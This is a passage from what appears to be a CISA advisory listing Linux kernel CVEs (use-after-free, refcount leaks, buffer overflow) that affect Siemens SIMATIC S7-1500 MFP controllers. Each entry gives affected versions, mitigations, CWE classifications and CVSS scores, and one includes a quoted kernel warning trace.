<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21731">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/416.html">CWE-416 Use After Free</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21745</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: blk-cgroup: Fix class @block_class's subsystem refcount leakage blkcg_fill_root_iostats() iterates over @block_class's devices by class_dev_iter_(init|next)(), but does not end iterating with class_dev_iter_exit(), so causes the class's subsystem refcount leakage. Fix by ending the iterating with class_dev_iter_exit().</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21745">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/401.html">CWE-401 Missing Release of Memory after Effective Lifetime</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21758</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ipv6: mcast: add RCU protection to mld_newpack() mld_newpack() can be called without RTNL or RCU being held. Note that we no longer can use sock_alloc_send_skb() because ipv6.igmp_sk uses GFP_KERNEL allocations which can sleep. Instead use alloc_skb() and charge the net-&gt;ipv6.igmp_sk socket under RCU protection.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21758">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21760</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ndisc: extend RCU protection in ndisc_send_skb() ndisc_send_skb() can be called without RTNL or RCU held. Acquire rcu_read_lock() earlier, so that we can use dev_net_rcu() and avoid a potential UAF.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21760">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/416.html">CWE-416 Use After Free</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21764</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ndisc: use RCU protection in ndisc_alloc_skb() ndisc_alloc_skb() can be called without RTNL or RCU being held. Add RCU protection to avoid possible UAF.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21764">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/416.html">CWE-416 Use After Free</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21765</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ipv6: use RCU protection in ip6_default_advmss() ip6_default_advmss() needs rcu protection to make sure the net structure it reads does not disappear.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21765">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21780</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: drm/amdgpu: avoid buffer overflow attach in smu_sys_set_pp_table() It malicious user provides a small pptable through sysfs and then a bigger pptable, it may cause buffer overflow attack in function smu_sys_set_pp_table().</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21780">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/120.html">CWE-120 Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21795</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: NFSD: fix hang in nfsd4_shutdown_callback If nfs4_client is in courtesy state then there is no point to send the callback. This causes nfsd4_shutdown_callback to hang since cl_cb_inflight is not 0. This hang lasts about 15 minutes until TCP notifies NFSD that the connection was dropped. This patch modifies nfsd4_run_cb_work to skip the RPC call if nfs4_client is in courtesy state.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21795">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21796</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: nfsd: clear acl_access/acl_default after releasing them If getting acl_default fails, acl_access and acl_default will be released simultaneously. However, acl_access will still retain a pointer pointing to the released posix_acl, which will trigger a WARNING in nfs3svc_release_getacl like this: ------------[ cut here ]------------ refcount_t: underflow; use-after-free. WARNING: CPU: 26 PID: 3199 at lib/refcount.c:28 refcount_warn_saturate+0xb5/0x170 Modules linked in: CPU: 26 UID: 0 PID: 3199 Comm: nfsd Not tainted 6.12.0-rc6-00079-g04ae226af01f-dirty #8 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.1-2.fc37 04/01/2014 RIP: 0010:refcount_warn_saturate+0xb5/0x170 Code: cc cc 0f b6 1d b3 20 a5 03 80 fb 01 0f 87 65 48 d8 00 83 e3 01 75 e4 48 c7 c7 c0 3b 9b 85 c6 05 97 20 a5 03 01 e8 fb 3e 30 ff &lt;0f&gt; 0b eb cd 0f b6 1d 8a3 RSP: 0018:ffffc90008637cd8 EFLAGS: 00010282 RAX: 0000000000000000 RBX: 0000000000000000 RCX: ffffffff83904fde RDX: dffffc0000000000 RSI: 0000000000000008 RDI: ffff88871ed36380 RBP: ffff888158beeb40 R08: 0000000000000001 R09: fffff520010c6f56 R10: ffffc90008637ab7 R11: 0000000000000001 R12: 0000000000000001 R13: ffff888140e77400 R14: ffff888140e77408 R15: ffffffff858b42c0 FS: 0000000000000000(0000) GS:ffff88871ed00000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000562384d32158 CR3: 000000055cc6a000 CR4: 00000000000006f0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 Call Trace: ? refcount_warn_saturate+0xb5/0x170 ? __warn+0xa5/0x140 ? refcount_warn_saturate+0xb5/0x170 ? report_bug+0x1b1/0x1e0 ? handle_bug+0x53/0xa0 ? exc_invalid_op+0x17/0x40 ? asm_exc_invalid_op+0x1a/0x20 ? tick_nohz_tick_stopped+0x1e/0x40 ? refcount_warn_saturate+0xb5/0x170 ? refcount_warn_saturate+0xb5/0x170 nfs3svc_release_getacl+0xc9/0xe0 svc_process_common+0x5db/0xb60 ? __pfx_svc_process_common+0x10/0x10 ? __rcu_read_unlock+0x69/0xa0 ? __pfx_nfsd_dispatch+0x10/0x10 ? svc_xprt_received+0xa1/0x120 ? xdr_init_decode+0x11d/0x190 svc_process+0x2a7/0x330 svc_handle_xprt+0x69d/0x940 svc_recv+0x180/0x2d0 nfsd+0x168/0x200 ? __pfx_nfsd+0x10/0x10 kthread+0x1a2/0x1e0 ? kthread+0xf4/0x1e0 ? __pfx_kthread+0x10/0x10 ret_from_fork+0x34/0x60 ? __pfx_kthread+0x10/0x10 ret_from_fork_asm+0x1a/0x30 Kernel panic - not syncing: kernel: panic_on_warn set ... Clear acl_access/acl_default after posix_acl_release is called to prevent UAF from being triggered.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21796">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/416.html">CWE-416 Use After Free</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21802</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: hns3: fix oops when unload drivers paralleling When unload hclge driver, it tries to disable sriov first for each ae_dev node from hnae3_ae_dev_list. If user unloads hns3 driver at the time, because it removes all the ae_dev nodes, and it may cause oops. But we can't simply use hnae3_common_lock for this. Because in the process flow of pci_disable_sriov(), it will trigger the remove flow of VF, which will also take hnae3_common_lock. To fixes it, introduce a new mutex to protect the unload process.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21802">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/413.html">CWE-413 Improper Resource Locking</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21814</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ptp: Ensure info-&gt;enable callback is always set The ioctl and sysfs handlers unconditionally call the -&gt;enable callback. Not all drivers implement that callback, leading to NULL dereferences. Example of affected drivers: ptp_s390.c, ptp_vclock.c and ptp_mock.c. Instead use a dummy callback if no better was specified by the driver.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21814">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
